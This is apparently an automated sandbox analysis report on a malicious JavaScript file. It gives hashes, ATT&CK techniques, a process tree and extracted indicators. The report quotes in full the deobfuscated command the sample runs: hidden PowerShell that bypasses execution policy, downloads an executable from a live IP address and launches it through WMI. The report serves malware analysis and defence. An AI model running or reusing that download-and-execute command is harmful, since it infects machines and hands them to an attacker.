8adf64000dda34334dd18581022e68206b9b4f2871700f9e8b0176f9dfc2cecb

Analysis

max time kernel
135s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 23:13

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General

Target

68f65871f36e2d1053fdc94c325c666e_JaffaCakes118.js
Size

31KB
MD5

68f65871f36e2d1053fdc94c325c666e
SHA1

b8e4fcdd25cac949cfb8e5af10c20f0d9a819bc2
SHA256

8adf64000dda34334dd18581022e68206b9b4f2871700f9e8b0176f9dfc2cecb
SHA512

df9b28fbe881970bd5746360c4e77ec85f317899891aacc5adda6126beee91fe0117d1d9d21a0621393f361843f755f8199737566dee5b2ea22d3e9b160b63d2
SSDEEP

768:+e2mLWvpMQH8b/KN13u/HPPBD2IWNpHOjyefFYRtiQE0rFwT3uBLeXEJ:+e2TBMQH8omqBF

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.198.57.172/faazdfdsxm.exe?XVMtv

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 3640 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3640 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation wscript.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3640 powershell.exe
3640 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3640 powershell.exe

flow	pid	process
6	3640	powershell.exe

pid	process
3640	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
3640	powershell.exe
3640	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3640	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 3496 wrote to memory of 2672	3496	wscript.exe	cmd.exe
PID 3496 wrote to memory of 2672	3496	wscript.exe	cmd.exe
PID 2672 wrote to memory of 3640	2672	cmd.exe	powershell.exe
PID 2672 wrote to memory of 3640	2672	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\68f65871f36e2d1053fdc94c325c666e_JaffaCakes118.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3496

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://185.198.57.172/faazdfdsxm.exe?XVMtv','%tEmp%xiL95.ExE'); Invoke-WmiMetHoD -CLass WIN32_ProcESS -NaME CReatE -ArguMeNtLISt '%TeMP%xiL95.EXE'
2⤵
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://185.198.57.172/faazdfdsxm.exe?XVMtv','C:\Users\Admin\AppData\Local\TempxiL95.ExE'); Invoke-WmiMetHoD -CLass WIN32_ProcESS -NaME CReatE -ArguMeNtLISt 'C:\Users\Admin\AppData\Local\TempxiL95.EXE'
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0x1ha2hu.jl3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3640-1-0x00007FFA730E3000-0x00007FFA730E5000-memory.dmp

Filesize
8KB

Download
memory/3640-11-0x000001A313360000-0x000001A313382000-memory.dmp

Filesize
136KB

Download
memory/3640-12-0x00007FFA730E0000-0x00007FFA73BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-13-0x00007FFA730E0000-0x00007FFA73BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-14-0x00007FFA730E0000-0x00007FFA73BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-17-0x00007FFA730E0000-0x00007FFA73BA1000-memory.dmp

Filesize
10.8MB

Download